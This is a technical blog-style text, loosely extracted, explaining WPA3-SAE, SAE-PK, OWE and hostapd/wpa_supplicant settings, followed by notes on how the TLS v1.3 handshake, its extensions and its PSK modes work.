\nThe EAP-EKE method\nuses a similar approach\nbut uses the EKE (Encrypted Key Exchange) protocol instead of Dragonfly.\nIt is supposed to provide the same kind of guarantees as EAP-PWD\n(protection against passive and active attacks, forward secrecy).
\nWPA3 introduces WPA3-SAE (Simultaneous Authentication of Equals) as a replacemnent for WPA-PSK for personal mode.\nLike EAP-PWD, it is based on the Dragonfly key exchange\nwhich protects against passive and active attacks and provides forward secrecy.
\nSummary: WPA3-SAE
\nThis diagram is based on the diagram\nin the Dragonblood paper.
\nSummary: WPA3-SAE with password identifiers
\nI:
parameter.SAE-PK\n(SAE with Public Key Authentication) is an extension of SAE.\nWith plain SAE, any user can impersonate the AP.\nThis is especialy problematic in public Wifi networks.\nSAE-PK associates an ECDSA (public/private) key pair to the AP:\nthis key pair is used to authenticate the access point.
\nWhen using SAE-PK, thehe password is derived[14]\nfrom the AP public key:\nit cannot be chosen arbitrarily.
\nThe station is provisionned with:
\nIf the station does not know the public key,\nit may by validated based on the SAE password.
\n\n\nSummary: WPA3-SAE-PK
\nK:
parameter (which contains the SubjectPublicKeyInfo
encoded in base64).Summary: WPA3-SAE-PK with password identifiers
\nWPA3-SAE and WPA-EAP with EAP-PWD are quite similar:
\nWPA-SAE can be provisionned through Wifi URIs (QR-code).\nHowever, WPA-SAE is currently not widely supported: EAP-PWD seems to be more widely supported for now.
\nWPA3-SAE-PK prevents AP impersonation in case the same passphrase is shared or compromised\nand can be provisionned through Wifi URIs (QR-code).\nSuch a feature is not available in EAP-PWD.\nWPA3-SAE-PK can be used with password identifiers as well.\nSupport for WPA3-SAE-PK seems to be lacking for now however.
\nWPA-EAP with a TLS-based method is an interesting alternative\nfor WPA3-SAE-PK with password identifiers:
\nWPA-EAP with a TLS-based method has several benefits over WPA3-SAE-PK with password identifiers:
\nOne drawback EAP-methods is that provisioning is more cumbersome compared to EAP-personal:
\nOWE (Opportunistic Wireless Encryption) aka Enhanced Open\nis a replacement for open Wifi networks.\nOpen wifi network are not protected (no authentication, no encryption).\nOWE networks are still open (anyone can join the network)\nbut provides opportunistic encryption\n(based on an unauthenticated Diffie-Hellman key exchange)\nin order to protect against (passive) eavesdropping.
\nSummary: OWE
\nSoftware | \nPassword identifiers | \nSAE-PK | \n
---|---|---|
wpa_supplicant | \nv2.8+ (2019-04-21) | \nv2.10+ (2022-01-16) | \n
hostapd | \nv2.7+ (2018-12-02) | \nv2.10+ (2022-01-16) | \n
NetworkManager | \nN/A | \nN/A | \n
In wpa_supplicant
,\nSAE password identifiers can be set using the sae_password_id=my_password
parameter.
In wpa_supplicant,\nthe station will automatically try to use SAE-PK if the\nsae_password
looks like a SAE-PK password.\nWe can force the usage of SAE-PK by setting sae_pk=1
.\nThere does not seem to be any way to explicitly\nprovision the AP public key.
hostapd supports multiple PSKs\nusing the wpa_psk_file
configuration.\nAlternatively hostapd supports\nreceiving the password or the PSK/MSK from the RADIUS server\nthrough the Tunnel-Password
RADIUS attribute\nin the Access-Accept
reply message:\nthis value may be influenced by the MAC address of the station which is sent to the RADIUS server in the\nCalling-Station-Id
attribute.\nMultiple Tunnel-Password
RADIUS attributes may be returned in order to support\nseveral PSKs.
We can specify different passwords associated with different SAE password identifiers\nwith sae_password=my_password|id=my_identifier
.
SAE-PK support may be configured using: sae_password=hbbi-f4xq-b45g|pk=...
MSK (Master Session Key):\nshared secret (between the AP/authenticator and the station/supplicant)\ngenerated at the result of the EAP authentication.
\nTKIP (Temporal Key Integrity Protocol):\nencryption protocols used with WPA1.
\nCCMP (Counter Mode Cipher Block Chaining Message Authentication Code Protocol):\nencryption protocols used with WPA2.
\nGCMP (Galois/Counter Mode Protocol):\nencryption protocols used with WPA3.
\nPSK (Pre-shared key):\nsecret derived (between the AP and the station) from the Wifi network passphrase.\nThis method is used in for WPA-personal in WPA1 and WPA2.
\nSnonce, Anonce:\nnonces chosen by the station and AP respecticely\nin the four-way handshake.\nThey provide protection against replay attacks.
\nSA: MAC Address of the Station.
\nAA: MAC Address of the Access Point.
\nPMK (Pairwise Master Key):\nshared secret shared between the AP and the station and used to derive other keys.\nIn WPA-PSK, this is the PSK and is (usually) shared for all stations.\nIn other cases, the PMK is usually different for each Wifi connection.
\nPTK (Pairwise Transient Key):\nanother shared secret between the station and the AP.\nThis key is divided into KCK, KEK and TK.
\nKCK (Key Confirmation Key):\nkey used for computing the MIC in the four-way handshake\nin order to confirm the key.
\nKEK (Key encryption key):\nused by the AP to send encrypt the GTK and send it to the station.
\nTK (Transient Key):\nkey used for encryption and data authentication (MAC)\nof the unicast traffic.\nWhen using the TKIP encryption (WPA1), this is divided into TEK and TMK.
\nGTK (Group Transient Key):\nused to protect multicast traffic,\ngenerated/chosen by the AP and sent in encrypted form to the stations.
\nIn WPA-PSK,\nany user in possession of the shared passphrase can passively eavesdrop\non the communication (at the Wifi level) and impersonate the AP.\nIn general, the passphrase is shared by all users on these network as there is no notion of login in WPA-PSK. \u21a9\ufe0e \u21a9\ufe0e
\nBy default, WPA3-SAE does not send any login (like WPA-PSK).\nWPA3-SAE can optionaly support \u201cpassword identity\u201d\n(i.e. a login) in order to support multiple users/passwords on the same network.\nThis password identity is sent by the client in cleartext in its SAE Commit message. \u21a9\ufe0e \u21a9\ufe0e
\nWith WPA3-SAE (as with WPA-PSK),\nany user in possession of the shared passphrase can impersonate the AP.\nHowever, WPA3-SAE has optional support\nfor a password identifier\n(login)\nwhich can be used to have a different password for different users. \u21a9\ufe0e
\nIn EAP-TLS the client identity is sent within its X.509 certificate.
\nIn TLS v1.2 and below,\nthe certificate is usually transmitted in cleartext.\nHowever, EAP-TLS explicitly\ndescribes the usage of TLSv1.2 post-handshake renegotiation\nwhen the client identity must be protected:\nin this case, the client certificate is send after the TLS handshake and encrypted by TLS.
\nIn TLS v1.3,\nthe client certificate is alway sent encrypted. \u21a9\ufe0e
\nThe TLS-based EAP methods will usually provide forward secrecy\nassuming the key exchange method/ciphersuite used provides forward secrecy.\nHowever, using TLS session resumption might adversely affect forward secrecy\nin TLS v1.2 and below \u21a9\ufe0e \u21a9\ufe0e
\nPEAP, EAP-FAST and TEAP are similar to EAP-TTLS.\nThey tunnel some inner authentication over a TLS tunnel.\nUsually this in a inner-EAP authentication method\n(such as PAP,\nCHAP,\nMSCHAPv2,\nEAP-GTC)\nwhich would be insecure if it was used directly. \u21a9\ufe0e
\nIn EAP-PWD, anyone in possession of the user's passphrase can impersonate the AP for this user.\nIf the user shares his personal passphrase\nor if the user's passphrase is compromised,\nthe AP can be impersonated. \u21a9\ufe0e
\nIf the 4-way handshake has not been observed,\na deauthentication attack can be used to force the station to create a new association. \u21a9\ufe0e
\nYou can use wpa_passphrase SUPERSSID iloveyou
to generate the PSK from the SSID and passphrase.\nIn this example, this gives c5d7ead6446974cd91befde13ef0df28140bf0733599b77b490fb70fbbfb7bf0
. \u21a9\ufe0e
The two nonces\n(one chosen by the AP and the other by the station)\nprotect against replay attacks and guarantee\nthat the key material is different for each connection. \u21a9\ufe0e
\nUnless your DNS traffic is protected\nfor example with\nDNS-over-TLS (DoT),\nDNS-over-DTLS,\nDNS-over-HTTPS (DoH),\nDNS-over-QUIC (DoQ),\netc. \u21a9\ufe0e
\nUnless your TLS clients are using Encrypted ClientHello (ECH). \u21a9\ufe0e
\nEAP is an extensible authentication framework\nwhich can support a variety of authentication methods\n(EAP methods). \u21a9\ufe0e
\nThe SAE password is (very) roughly a hash of the SSID, the AP public key and a modifier M\nencoded in base32\nwith a dash every four character.\nIt looks something like\nhbbi-f4xq-b45g or hbbi-f4xq-b457-jjew-muey-fod3. \u21a9\ufe0e
\nSome notes about how TLS v1.3 works.\nThis is a follow-up of the previous episode\nabout TLS v1.2.\nAs before, the goal is to have a high-level overview\nabout how the protocol works,\nwhat is the role of the different messages\nand be able to understand (and debug) a network traffic dump.
\nYou may want to check as well \u201cThe New Illustrated TLS Connection\u201d\nfor examples of the messages on the wire.
\nTLS v1.3 supports 3 types of key exchange methods.
\nThe DHE (ephemeral Diffie-Hellman) key exchange method is explained\nin the first section.\nThis methods is generally used when no session resumption is used.\nIt relies on an ephemeral Diffie-Hellman key exchange (for establishing a shared secret),\ndigital signatures (for authentication)\nand certificates (for conveying the static private keys used for authentication).
\nThe two other types of handshake (PSK psk_ke
and PSK-with-DHE psk_dhe_ke
)\nare explained in the second section.\nThey rely on an already established\nsecret between the client and the server, the pre-shared-secret (PSK).\nThe PSK may have been established in a previous TLS v1.3 handshake\nbetween the client and the server (session resumption).
The third section describes some additional features.
\nUpdate 2023-05-30:\nreorganized the section about PSK.
\nThe DHE handshake is based on\na (server-)authenticated ephemeral Diffie-Hellman key exchange:
\nClientHello
and ServerHello
messages)\nwhich is used to generate cryptographic material\n(such as encryption keys and MAC keys).\nThe same messages are used as well to\nnegotiate some parameters (TLS version, encryption algorithm, etc.).Because the Diffie-Hellman key exchange is done directly using the two first messages,\na shared secret is established directly after these messages\nand all the subsequent messages are encrypted.
\n\nNote: notations
\nNote: 1RTT
\nBy comparing this diagram with the one for TLS v1.2,\nwe can see that the client can send application data sooner in TLS v1.3:\nafter 2 round trips (2RTT) in TLS v1.2;\nafter one round trip (1RTT) in TLS v1.3 (for the happy path).
\nNote: ChangeCipherSpec
and backward compatibility
For better retrocompatibility with existing middleboxes,\nthe client and the server may send ChangeCipherSpec
messages.\nThese messages are ignored in TLS v1.3.\nThese messages are not indicated in the sequence diagrams of this post.
On OpenSSL, this feature is enabled by default but may be disabled\nby clearing the SSL_OP_ENABLE_MIDDLEBOX_COMPAT
option.
The client and the server starts by exchanging hello message (ClientHello
and ServerHello
)\nwhich features:
random
fields);struct {\n ProtocolVersion legacy_version = 0x0303; /* TLS v1.2 */\n Random random;\n opaque legacy_session_id<0..32>;\n CipherSuite cipher_suites<2..2^16-2>;\n opaque legacy_compression_methods<1..2^8-1>;\n Extension extensions<8..2^16-1>;\n} ClientHello;\n\nstruct {\n ProtocolVersion legacy_version = 0x0303; /* TLS v1.2 */\n Random random;\n opaque legacy_session_id_echo<0..32>;\n CipherSuite cipher_suite;\n uint8 legacy_compression_method = 0;\n Extension extensions<6..2^16-1>;\n} ServerHello;\n
\nNote: backward compatibility
\nSome of the fields in these messages are not really used anymore\nand are present for compatibility with previous versions of TLS:
\nClientHello.legacy_version
and ServerHello.legacy_version
)\nbut is now negotiated in the supported_versions
extension.\nIn TLS v1.3,\nthe legacy_version
is set to TLS v1.2\nin order to avoid breaking middleboxes.legacy_session_id
was used for session resumption in previous versions of\nthe protocol. In TLS v1.3, the client may used a random value here\nand the server always echos the value in legacy_session_id_echo
.Note: extensions mechanism
\nIn TLS v1.2, extensions were present in the ClientHello
and ServerHello
messages\n(in cleartext).
In TLS v1.3, the TLS extensions may be present in different messages.\nMany extensions\nare not sent in the ClientHello
/ServerHello
messages\nbut are sent later on in the TLS handshake (and are thus encrypted).
Request message | \nResponse message | \nDescription | \n
---|---|---|
ClientHello | \nServerHello | \nExtensions necessary for the key exchange (eg. key_share ) | \n
ClientHello | \nEncryptedExtensions | \nOther extensions | \n
ClientHello | \nHelloRetryRequest | \nList of acceptable groups (key_share extension) | \n
ClientHello | \nCertificate | \nInformations associated with the certificate | \n
CertificateRequest | \nCertificate | \nInformations associated with the certificate | \n
NewSessionTicket | \nnone | \n\n |
Many extensions are still sent in the ClientHello
(in cleartext) however.\nThis includes in particular,\nthe server name (SNI)\nand application protocol (ALPN) extensions.\nThe Encrypted Client Hello (ECH)\nextension has been proposed to provide confidentiality to the ClientHello
message.
An ephemeral Diffie-Hellman key exchange is done\nin the ClientHello
and ServerHello
messages.\nThe client and the server both include\na key_share
extension\nwhich contains an ephemeral Diffie-Hellman public key.\nThis Diffie-Hellman key exchange is used to establish\nseveral shared secrets.
enum {\n /* Elliptic Curve Groups (ECDHE) */\n secp256r1(0x0017), secp384r1(0x0018), secp521r1(0x0019),\n x25519(0x001D), x448(0x001E),\n /* Finite Field Groups (DHE) */\n ffdhe2048(0x0100), ffdhe3072(0x0101), ffdhe4096(0x0102),\n ffdhe6144(0x0103), ffdhe8192(0x0104),\n /* ... */\n (0xFFFF)\n} NamedGroup;\n\nstruct {\n NamedGroup group;\n opaque key_exchange<1..2^16-1>;\n} KeyShareEntry;\n\nstruct {\n KeyShareEntry client_shares<0..2^16-1>;\n} KeyShareClientHello;\n\nstruct {\n KeyShareEntry server_share;\n} KeyShareServerHello;\n
\nNote: proposing several groups
\nThe client can propose several ephemeral DH public keys\n(from different groups)\nin its key_share
extension.\nIn this case, the server chooses one of the groups proposed by the client\n(if it supports any)\nand generates an ephemeral Diffie-Hellman key pair in this group.
Example: proposed ephemeral DH public keys
\nIn my case,\nFirefox included (EC) DH public keys for the x25519
and secp256r1
groups.
Note: retry request in case of incompatible group
\nIf none of the DH groups proposed by the client is acceptable by the server,\nthe server sends\na HelloRetryRequest
message\nwhich includes an acceptable group to use in its key_share
extension.
struct {\n NamedGroup selected_group;\n} KeyShareHelloRetryRequest;\n
\nThe list of DH groups supported by the client has been advertised by the client\nin the supported_groups
extension of the ClientHello
:\nthe group chosen by the server is picked in this list.\nThe client may then send a new ClientHello
with an ephemeral DH public key\nin this group.
struct {\n NamedGroup named_group_list<2..2^16-1>;\n} NamedGroupList;\n
\nThe supported_versions
extension\nis used to negotiate the TLS version.
struct {\n select (Handshake.msg_type) {\n case client_hello:\n ProtocolVersion versions<2..254>;\n case server_hello: /* and HelloRetryRequest */\n ProtocolVersion selected_version;\n };\n} SupportedVersions;\n
\nNote: backward compatibility
\nIn TLS v1.2 and below,\nthe ClientHello.client_version
and ServerHello.server_version
fields\nwere used for negotiating the TLS versions.\nIn TLS v1.3, these fields are set to TLS v1.2 in order to look like\nTLS v1.2 and avoid breaking middle boxes.
Note: TLS version downgrade protection
\nTLS v1.3 provides an addition protection against\nprotocol downgrades:\nif TLS v1.2 or below is negotiated, the end server_random
field\nshould end with DNWGRD\\x01
or DNWGRD\\x00
.\nThis can be used by the client to detect a TLS version downgrade attack:\nthe client should reject the connection in this case.
The cipher suite is negotiated\nin the ClientHello.cipher_suites
and ServerHello.cipher_suite
fields:
ClientHello.cipher_suites
lists the cipher suites supported by the client;ServerHello.cipher_suite
indicates which cipheruite is chosen by the server.In TLS v1.3, the cipher suites are named using the TLS_{encryption}_{hash}
pattern\n(eg. TLS_CHACHA20_POLY1305_SHA256).\nEach cipher suite is defined by the combination of:
Note: difference with TLS v1.2
\nIn TLS v1.2, the key exchange algorithm (ECDHE_RSA
)\nis part of cipher suite (eg. TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256
) as well.\nIn TLS v1.3, the key exchange algorithm is negotiated separately\nfrom the cipher suite (eg. TLS_CHACHA20_POLY1305_SHA256
).
As a consequence, the cipher suites for TLS v1.3 use different cipher suites from\nthe ones for TLS v1.2 and below (but they share the same ID space).\nA client willing to negotiate either TLS v1.2 and TLS v1.3\nshould propose cipher suites for both versions\nin the ClientHello
.
Example: negotiated cipher suites
\nIn my case, Firefox proposed using\nthe TLS_CHACHA20_POLY1305_SHA256
\nand TLS_AES_128_GCM_SHA256
\ncipher suites\n(as well as TLS v1.2 cipher suites in case TLS v1.2 was negotiated).\nThe TLS_AES_128_GCM_SHA256
cipher suite was chosen by the server.
The signature_algorithms
\nextension is used in the ClientHello
to announce\nwhich signature schemes\nare accepted by the client\nfor server authentication (in the CertificateVerify
message).
enum {\n /* RSASSA-PKCS1-v1_5 algorithms */\n rsa_pkcs1_sha256(0x0401),\n rsa_pkcs1_sha384(0x0501),\n rsa_pkcs1_sha512(0x0601),\n\n /* ECDSA algorithms */\n ecdsa_secp256r1_sha256(0x0403),\n ecdsa_secp384r1_sha384(0x0503),\n ecdsa_secp521r1_sha512(0x0603),\n\n /* RSASSA-PSS algorithms with public key OID rsaEncryption */\n rsa_pss_rsae_sha256(0x0804),\n rsa_pss_rsae_sha384(0x0805),\n rsa_pss_rsae_sha512(0x0806),\n\n /* EdDSA algorithms */\n ed25519(0x0807),\n ed448(0x0808),\n\n /* RSASSA-PSS algorithms with public key OID RSASSA-PSS */\n rsa_pss_pss_sha256(0x0809),\n rsa_pss_pss_sha384(0x080a),\n rsa_pss_pss_sha512(0x080b),\n\n /* Legacy algorithms */\n rsa_pkcs1_sha1(0x0201),\n ecdsa_sha1(0x0203),\n\n /* Reserved Code Points */\n private_use(0xFE00..0xFFFF),\n (0xFFFF)\n} SignatureScheme;\n\nstruct {\n SignatureScheme supported_signature_algorithms<2..2^16-2>;\n} SignatureSchemeList;\n
\nIf the set of signature schemes supported in certificates is different from\nthe ones supported for CertificateVerify
,\nthe signature_algorithms_cert
is used\nto announce the signature schemes supported in certificates.
Example: signature algorithms
\nIn my example, Firefox announced support for:\necdsa_secp256r1_sha256
, ecdsa_secp384r1_sha384
, ecdsa_secp521r1_sha512
,\nrsa_pss_rsae_sha256
, rsa_pss_rsae_sha384
, rsa_pss_rsae_sha512
,\nrsa_pkcs1_sha256
, rsa_pkcs1_sha384
, rsa_pkcs1_sha512
, ecdsa_sha1
,\nrsa_pkcs1_sha1
.
Note: new signature algorithms in TLS v1.3
\nNew signature schemes have been introduced by TLS v1.3:
\nNote: difference between rsa_pss_rsae_*
and rsa_pss_pss_*
In X.509 certificates,\nthree different keys types (SubjectPublicKeyInfo.algorithm
) are defined for RSA keys.
TBSCertificate ::= SEQUENCE {\n version [0] EXPLICIT Version DEFAULT v1,\n serialNumber CertificateSerialNumber,\n signature AlgorithmIdentifier,\n issuer Name,\n validity Validity,\n subject Name,\n subjectPublicKeyInfo SubjectPublicKeyInfo,\n issuerUniqueID [1] IMPLICIT UniqueIdentifier OPTIONAL,\n -- If present, version MUST be v2 or v3\n subjectUniqueID [2] IMPLICIT UniqueIdentifier OPTIONAL,\n -- If present, version MUST be v2 or v3\n extensions [3] EXPLICIT Extensions OPTIONAL\n -- If present, version MUST be v3\n }\n\nSubjectPublicKeyInfo ::= SEQUENCE {\n algorithm AlgorithmIdentifier,\n subjectPublicKey BIT STRING }\n
\nThe rsaEncryption
type\nhas been\nused to identify RSA public keys, independently of their usage:
rsaEncryption OBJECT IDENTIFIER ::= { pkcs-1 1 }\n\nRSAPublicKey ::= SEQUENCE {\n modulus INTEGER, -- n\n publicExponent INTEGER } -- e\n
\nThis type can be used both for RSA encryption\n(eg. with the RSA transport key exchage method in TLS v1.2)\nand for RSA signature (eg. with the ECDHE_RSA transport in TLS v1.2).\nThe key usage\nX.509 extension could be used to restrict a given certificate\nto be used either for encryption or for signature.\nMoreover, there are two algorithms for RSA signatures (RSASSA-PKCS1-v1_5 and RSASSA-PSS)\nand there is no way to constraint a rsaEncryption
key to one signature\ntype or the other.
The RSASSA-PSS
\nkey type in X.509 certificates can be used\nif the certificate is intended to be used for RSASSA-PSS signatures only.\nIn this case, the certificate may contain additional informations\nin the AlgorithmIdentifier.parameters
.
id-RSASSA-PSS OBJECT IDENTIFIER ::= { pkcs-1 10 }\n\nRSASSA-PSS-params ::= SEQUENCE {\n hashAlgorithm [0] HashAlgorithm DEFAULT\n sha1Identifier,\n maskGenAlgorithm [1] MaskGenAlgorithm DEFAULT\n mgf1SHA1Identifier,\n saltLength [2] INTEGER DEFAULT 20,\n trailerField [3] INTEGER DEFAULT 1 }\n
\nTLS v1.3 defines different signature schemes depending on the public key algorithm:
\nrsa_pss_rsae_*
is for RSA-PSS signatures with a rsaEncryption
(RSAE) key in the certificate;rsa_pss_pss_*
is for RSA-PSS signatures with a RSASSA-PSS
key in the certificate.Note: compatibility with TLS v1.2 SignatureAndHashAlgorithm
In TLS v1.2, a signature method was the combination of a\nsignature method and a hash algorithm:
\nstruct {\n HashAlgorithm hash;\n SignatureAlgorithm signature;\n} SignatureAndHashAlgorithm;\n
\nThese two 1-byte values have been merged into a a single 2-byte SignatureScheme
values in TLS v1.3.
Note: difference with TLS v1.2 (ECDSA)
\nWhen using ECDSA in TLS v1.2,\na suported signature algorithm was the combination of the ECDSA method and a hash function\n(eg. ecdsa
sha256
).\nThe elliptic_curves
extension was used both to announce which (elliptic curve) groups\ncould be used for the ECDSA signature\nand which (elliptic curve) groups could be used for ECDH key exchanges.
In TLS v1.3, each ECDSA signature scheme is tied to a given elliptic curve (eg. ecdsa_secp256r1_sha256
).\nThe elliptic_curves
has been renamed to supported_groups
extension:\nit now only advertises the DH groups (both FFDH and ECDH) supported\nfor the DHE key exchange\n(not for the digital signatures).
The client can use\nthe Server Name Indication (SNI) extension\nto announce the server name it intends to connect to.\nFor example, the server can use this information to select\nwhich certificate chain to send,\nwhether to propose client authentication, etc.
\nstruct {\n NameType name_type;\n select (name_type) {\n case host_name: HostName;\n } name;\n} ServerName;\n\nenum {\n host_name(0), (255)\n} NameType;\n\nopaque HostName<1..2^16-1>;\n\nstruct {\n ServerName server_name_list<1..2^16-1>\n} ServerNameList;\n
\nThe server indicates that it actually used the content of the server_name
\nby including an empty server_name
extension in\nin the EncryptedExtensions
messages.
The peers can use the\nApplication-Layer Protocol Negotiation (ALPN) extension\nto negotiate which application protocol\nwill be transported by the TLS connection.
\nNote: ALPN and QUIC
\nWhen using QUIC,\nthe application protocol negotiated using ALPN\nis not transported on top of TLS.\nInstead, the application protocol is transported directly on top QUIC.
\n\nThe QUIC key materials are\nderived\nfrom the TLS traffic secrets.
\nopaque ProtocolName<1..2^8-1>;\n\nstruct {\n ProtocolName protocol_name_list<2..2^16-1>\n} ProtocolNameList;\n
\nExample
\nIn my example, Firefox\nannounced support for HTTP/2 (h2
) and HTTP/1.1 (http/1.1
).\nThe server chose to use HTTP/1.1.
After the DH key exchange, the client and the server have a DH shared secret\nand can start exchanging protected messages.\nAll subsequence messages are encrypted and data-authenticated (AEAD)\nusing encryption keys derived from this DH shared secret\nand the message transcript.
\nHowever, the participants have not been authenticated yet at this point.
\nNote: difference with TLS v1.2
\nIn TLS v1.2, most of the handshake was send in cleartext.\nOnly the Finished
message was using encryption.\nIn TLS v1.3, the encryption happens much sooner.
At this point, the server sends\nthe EncryptedExtensions
message.\nThis message contains most server TLS extensions\nwhich were not necessary for the key exchange\n(some extensions are included in the Certificate
message).
struct {\n Extension extensions<0..2^16-1>;\n} EncryptedExtensions;\n
\nIf the server supports client authentication, the server sends a\nCertificateRequest
message.
struct {\n opaque certificate_request_context<0..2^8-1>;\n Extension extensions<2..2^16-1>;\n} CertificateRequest\n
\nThis message contains several extensions.\nImportant extensions are:
\nsignature_algorithms
(required), signature schemes accepted for the authentication (CertificateVerify
);signature_algorithms_cert
(optional), signature schemes accepted for certificate signatures (if different);certificate_authorities
(optional), certificate authorities accepted by the server.opaque DistinguishedName<1..2^16-1>;\n\nstruct {\n DistinguishedName authorities<3..2^16-1>;\n} CertificateAuthoritiesExtension;\n
\nNote: certificate_request_context
The certificate_request_context
is only used for\npost-handshake authentication.
The server can now authenticate itself by sending:
\nCertificate
message, with the server certificate chain;CertificateVerify
message, containing a signature of the server (signing) private key;Finished
message, containing a MAC of the TLS handshake.The server may start sending application data after its Finished
message.\nIf the server supports client authentication, it might be willing to\nwait for the client authentication before sending confidential data.
Note: more robust use of digital signatures
\nIn TLS v1.2, the digital signature used for authenticating the server\n(ServerKeyExchange.signed_params
)\nfor FFDHE\nand ECDHE\ncipher suites\nonly covers a restricted subset of the handshake\n(cf. Logjam attack):\nthe server and client random/nonces,\nthe chosen (FF/EC)DH group and the server ephemeral (FF/EC)DH public key.
In TLS v1.3, this digital signature (in the CertificateVerify
message)\ncovers all the previous handshake messages\n(hash of the TLS handshake transcript).
The Certificate
message\n(typically) contains a chain of X.509 certificates.
enum {\n X509(0),\n RawPublicKey(2),\n (255)\n} CertificateType;\n\nstruct {\n select (certificate_type) {\n case RawPublicKey:\n /* From RFC 7250 ASN.1_subjectPublicKeyInfo */\n opaque ASN1_subjectPublicKeyInfo<1..2^24-1>;\n\n case X509:\n opaque cert_data<1..2^24-1>;\n };\n Extension extensions<0..2^16-1>;\n} CertificateEntry;\n\nstruct {\n opaque certificate_request_context<0..2^8-1>;\n CertificateEntry certificate_list<0..2^24-1>;\n} Certificate;\n
\nExtensions:
\nstatus_request
for OCSP status;signed_certificate_timestamp
for Certificate Transparency.The certificate chain is a proof of the association of the public key (contained in the leaf certificate)\nwith the server.\nAfter receiving this message, the client can\nvalidate the certificate chain.\nIf the validation succeeds,\nthe client can trust that the public key found in the server certificate actually belongs to the server\nand can be relied on for authenticating the server.
\nCertificateVerify
At this point, the server is not yet authenticated.\nIn order to authenticate itself,\nthe server sends a signature of\n(the hash of the current transcript of)\nthe TLS handshake\nin the CertificateVerify
message.\nThis proves that the server the client it is talking to\nis in possession of the private key\nand therefore\n(in combination with the certificate chain validation)\nthat the client is talking to the genuine server.
struct {\n SignatureScheme algorithm;\n opaque signature<0..2^16-1>;\n} CertificateVerify;\n
\nNote: comparison with TLS v1.2
\nIn TLS v1.2, the signature of server authentication\n(for signature-based key exchange algorithms)\nwould only cover (in the ServerKeyExchange
message)\na restricted set of values:\nserver and client random value and the server Diffie-Hellman parameters.\nThe logjam attack was possible\nbecause of this defect.
In TLS v1.3, the signature used for server authentication covers the complete\nTLS handshake at this point (a hash of the TLS transcript).
\nThe server then sends a Finished
\nmessage which contains an HMAC of the handshake messages\nwith a secret key derived from the key exchange.\nThis authenticates both the keys (key confirmation) and the current TLS handshake\n(protection against tampering the TLS handshake).
struct {\n opaque verify_data[Hash.length];\n} Finished;\n
\nThe client authentication process is similar to the server authentication process.
\nIf the client authentication was requested, the client sends\na Certificate
message with its certificate chain\n(or a raw public key if negotiated with client_certificate_type
)\nand a CertificateVerify
with a signature.
If the client does not wish (or cannot) authenticate, it sends a Certificate
message\nwith an empty certificate chain and no CertificateVerify
message.\nThe server may either accept unauthenticated connections\nand reject the connection with the certificate_required
fatal alert.
Whether client authentication was requested or not,\nthe client then sends a Finished
message.
Note: difference with TLS v1.2
\nIn TLS v1.2, the client certificate chain was sent in cleartext:\nthis could reveal some important information\n(eg. client identity contained in the client certificate subject)\nto passive attackers.
\nIn TLS v1.3, the client certificate is sent encrypted.\nMoreover, it is sent after server authentication.\nTherefore, the client knows it is communicating with the correct server\nwhen it sends its certificate chain.
\nThe client and the server can now exchange protected\n(encrypted and protected) messages over the TLS connection.
\nWhen one side does not need to send data over the TLS connection anymore,\nit sends a warning
close_notify
alert\nto signal end-of-data.
If some error happens at any time (eg. in the TLS handshake),\nthe peer sends an Alert
message\nwith some other alert code.
enum { warning(1), fatal(2), (255) } AlertLevel;\n\nenum {\n close_notify(0),\n unexpected_message(10),\n ...\n} AlertDescription;\n\nstruct {\n AlertLevel level;\n AlertDescription description;\n} Alert;\n
\nThe close_notify
alert is sent by one peer when it does no have any mesasge to send\non the TLS connection.
The two PSK-based handshakes\ndo not rely on digital signatures and certificates at all.\nInstead, they assume that a secret value, the pre shared secret (PSK),\nis already shared between the client and the server.\nThis PSK is used to establish cryptographic material\n(such as encryption and MAC keys).
\nThe lack of digital signature and digital certificates can be useful for low-performance environments\nsuch as IoT applications.
\nIn contrast to TLS PSK is TLS v1.2 which was an extension of the core protocol,\nPSK support is part of the core TLS v1.3\nand is used for session resumption.
\n\nNote: notations
\nTwo PSK-based key exchange can be used:
\npsk_dhe_ke
) includes an ephemeral Diffie-Hellman\nkey exchange as well in order to provide forward secrecy\n(with respect to the PSK).psk_ke
handshake does not provide forward secrecy\nwith respect to the PSK.Note: origin of the PSK
\nThe PSK may either have been established by a previous TLS handshake (internal PSK),\nor by through another mean (external PSK):
\nNewSessionTicket
message).In addition the PSK importer mechanism\nhas been defined as a safer mechanism to derive (several) (imported) PSKs from an external PSK.
\nType of PSK | \nPSK identity | \nPSK | \n
---|---|---|
External PSK | \nopaque, arbitrary | \narbitrary | \n
Imported PSK | \nImportedIdentity | \nderived from the external PSK, ImportedIdentity , protocol version, KDF and some optional context | \n
Internal PSK (session resumption) | \nChosen by the server and sent in NewSessionTicket.ticket | \nderived from the resumption_master_secret and NewSessionTicket.ticket_nonce | \n
struct {\n opaque external_identity<1...2^16-1>;\n opaque context<0..2^16-1>;\n uint16 target_protocol;\n uint16 target_kdf;\n} ImportedIdentity;\n
\nThe context
field is an optional application-specific data.\nSee Appendix A of RFC9258 for an example of context
.
Warning: PSK identity exposure
\nThe proposed PSK identities are sent in cleartext\n(unless ECH is used)\nand the accepted PSK identity index (if any) is sent in cleartext.\nThis might be a privacy issue if external PSK identites are not opaque or are reused:
\nImportedIdentity.context
field);This is not a problem for PSK identities used for\nsession resumption because they are opaque\n(can be made opaque)\nand are not expected to be reused.
\nMoreover, an attacker\nmay verify if a given PSK identity is valid.
\nWarning: restrictions when using PSKs
\nYou should be make sure to only use a single PSK:
\nHKDF_SHA512
KDF, you should not be able / try to use it with the TLS_AES_128_GCM_SHA256
ciphersuite\nbecause this ciphersuite uses the HKDF_SHA256
KDF).i.e.:
\nThis should be automatically taken care of when using internal PSKs\nbut this might not hold when designing a system using external PSKs.
\nRerouting/impersonation vulnerabilities may be introduced\nif these conditions are not verified.\nYou should use PSK importer mechanism (imported PSKs)\ninstead of directly using external PSKs in this case.\nThis mechanism can be used to\nmay be used to derive multiple PSKs from a an external PSK:
\nImportedIdentity.context
(as explained below).For some guidance on using an external PSK, see\nGuidance for External PSK Usage in TLS.
\nVulnerability: rerouting attacks (eg. Selfie) when using external PSK for group membership
\nIf you want to secure the communications in a group of nodes,\nyou might be tempted to use a single PSK for the whole group and have each node\nbehave both as a TLS client and a TLS server.\nHowever, this setup is vulnerable\nto rerouting attacks\n(such as the Selfie attack).\nAn active attacker can redirect a pending TLS connection to another node of the group\n(including the client itself).\nThis is because, if the PSK is shared within a group,\nthe authentication provided by the PSK key exchange\nit can only authenticate the group as a whole.
\nNote that this vulnerability is present in TLS-PSK v1.2 as well.
\nMitigations:
